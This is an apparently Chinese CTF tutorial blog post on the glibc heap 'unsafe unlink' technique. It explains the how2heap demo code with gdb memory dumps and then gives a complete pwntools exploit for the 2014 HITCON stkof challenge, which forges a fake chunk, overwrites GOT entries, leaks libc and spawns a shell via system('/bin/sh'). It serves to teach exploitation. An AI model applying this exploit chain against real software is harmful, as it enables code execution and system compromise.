前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN入门(unsafe unlink)

PWN入门(unsafe unlink)

作者头像
yichen
发布2020-08-05 23:53:09
8020
发布2020-08-05 23:53:09
举报

wiki 上的图示

通过 how2heap 上的代码例子来看一下

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main() {
    int malloc_size = 0x80; // not fastbins
    int header_size = 2;
    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, "The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
    fprintf(stderr, "The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, "Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
    fprintf(stderr, "Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;
    free(chunk1_ptr);
    char victim_string[9];
    strcpy(victim_string, "AAAAAAAA");
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, "Original value: %s\n", victim_string);
    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, "New Value: %s\n", victim_string);
}

ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)

先在 main 函数上设置一个断点,然后单步走一下,走到第 13 行(不包括)

我们来看一下,申请了两个堆之后的情况

上面说的那个检查 fd/bk 指针是通过 chunk 头部的相对地址来找的,我们可以用全局指针 chunk0_ptr 构造一个假的 chunk 来绕过

再单步走到第 20 行(不包括)

在源码中这两行代码做了个减法,使得从这个地方数起来正好可以数到我们伪造的哪一个 fake chunk

代码语言:javascript
复制
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

上面那个图没对齐,用文本来解释一下

代码语言:javascript
复制
gdb-peda$ x/4gx 0x0000000000601058
0x601058: 0x0000000000000000 0x00007ffff7dd2540
0x601068: 0x0000000000000000 0x0000000000602010
0x601058是我们伪造的那个堆块的fd指针,在这里可以看到它的bk指针指向的是0x602010

gdb-peda$ x/4gx 0x0000000000601060
0x601060: 0x00007ffff7dd2540 0x0000000000000000
0x601070: 0x0000000000602010 0x0000000000000000
0x601060是我们伪造的那个堆块的bk指针,在这里可以看到它的fd指针指向的是0x602010

fake chunk 的 fd 指向 0x601058 然后 0x601058 的 bk 指向 0x601070

fake chunk 的 bk 指向 0x601060 然后 0x601060 的 fd 指向 0x601070,可以保证前后都指向我们伪造的这个 chunk,完美!

另外我们利用 chunk0 的溢出来修改 chunk1 的 prev_size 为 fake chunk 的大小,修改 PREV_INUSE 标志位为 0,将 fake chunk 伪造成一个 free chunk。

接下来释放掉 chunk1 因为 fake chunk 和 chunk1 是相邻的一个 free chunk,所以会将他两个合并,这就需要对 fake chunk 进行 unlink,进行如下操作

FD = P->fd BK = P->bk FD->bk = BK BK->fd = FD

通过前面的赋值操作

P->fd = &P - 3 * size(int) P->bk = &P - 2 * size(int)

也就是说:

FD = &P - 3 * size(int)

BK = &P - 2 * size(int)

FD->bk 按照偏移寻址,就是 FD+3*size(int) 也就等于 &P,FD->bk = P,同理 BK->fd = P

这样执行下来,最终实现的效果是 P = &P - 3 * size(int)

也就是说,chunk0_ptr 和 chunk0_ptr[3] 现在指向的是同一个地址

2014 HITCON stkof

这个师傅注释很详细,帮了大忙,下面也是根据这个 exp 复现的

https://blog.csdn.net/weixin_42151611/article/details/97016767

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context(arch='amd64',os='linux')
#context.log_level = 'debug'
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def create(size):
 p.sendline('1')
 p.sendline(str(size))
 p.recvuntil('OK\n')
 
def edit(index,size,content):
 p.sendline('2')
 p.sendline(str(index))
 p.sendline(str(size))
 p.send(content)  
 #之所以用send是因为如果sendline的话会多读入一个'\n'
 #导致size和content的长度不匹配,导致错误
 p.recvuntil('OK\n')
 
def delete(index):
 p.sendline('3')
 p.sendline(str(index))
 
head = 0x602140
create(0x10)#第一块
create(0x30) #第二块
create(0x80) #第三块

payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)
edit(2,len(payload),payload)

gdb.attach(p)
pause()
delete(3)

p.recvuntil('OK\n')

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)

payload = p64(puts_plt)
edit(0,len(payload),payload)

delete(1)
leak = p.recvuntil('\nOK\n')[:6]
puts_addr = u64(leak.ljust(8,'\x00'))
log.success('puts addr: '+hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base: '+hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
log.success('sys_addr: '+hex(sys_addr))

payload = p64(sys_addr)
edit(2,len(payload),payload)

payload = '/bin/sh\x00'
p.sendline(payload)
p.interactive()

运行程序,连个菜单都不给...

把名字改一下

create 功能,输入一个 size,然后申请 size 大小的堆块

会把申请的堆块的地址写到这里(并不是,是 s[1],因为先 ++ 了)

edit 功能,编辑已经创建好的堆块,但是没有对长度进行检查,所以存在堆溢出

wp 说没有 setbuf,会先申请 1024 的堆空间??

要先提前申请个 chunk 来防止他们干扰??

怎么就能防止干扰了??

其实只要先申请一个,让程序把两个缓冲区分配好了,别后面插在我们申请的两个之间就可以吧

黄色指的是提前申请的一个用来占空的

两个白色是缓冲区占用的,这样后面再申请就连起来了

这时候来改写第 2 个(从 1 开始计数)伪造一个 free 的 chunk(黄线分割了第 2 和第 3 个)

payload 如下:

代码语言:javascript
复制
payload = p64(0)+p64(0x20)+p64(head+16-0x18)+p64(head+16-0x10)+p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30)+p64(0x90)

这样填充完了就是这样的,在原本第 2 个 chunk 里面伪造了一个 free 的 chunk,大小是 0x20,然后把 fd 跟 bk 指针写为了 p64(head+16-0x18) 和 p64(head+16-0x10)。同时把下一个堆块的 prev_size 位写成了 0x30(前一个 chunk 加上开头的大小),以及 size 位的 prev_inuse 为 0

这样,对第 3 个进行 free 的时候会发生 unlink,head + 16 与 head +16 -0x18

那么最终的效果就是我们编辑第二个的时候就是编辑的 head + 16 - 0x18,也就是 0x602138

那么

代码语言:javascript
复制
payload = p64(0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)

因为此时的第 2 块指向的是head-8,所以要先填 8 位,然后再去修改的时候才是 s[0]=free_got,s[1]=puts_got,s[2]=atoi_got

修改完之后

这时候去修改第 0 个,修改的就是 0x602018 也就是 free 的 got 表项,改成 puts_plt,之后再调用 free 函数的时候就会调用 puts 了

代码语言:javascript
复制
payload = p64(puts_plt)
edit(0,len(payload),payload)

那么 free(1) 的话就相当于 puts 了 puts 的 got 也就得到了 puts 函数的真实地址,从而可以用来计算 libc,算出 libc 的基址就能得到 system 函数的地址,然后通过编辑第 2 个再把 atoi 改成 system 的地址

代码语言:javascript
复制
payload = p64(sys_addr)
edit(2,len(payload),payload)

因为输入的时候就是往 atoi 中输入的,所以直接 sendline("/bin/sh") 就可以达到 system("/bin/sh") 的效果

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-08-02,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2014 HITCON stkof
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档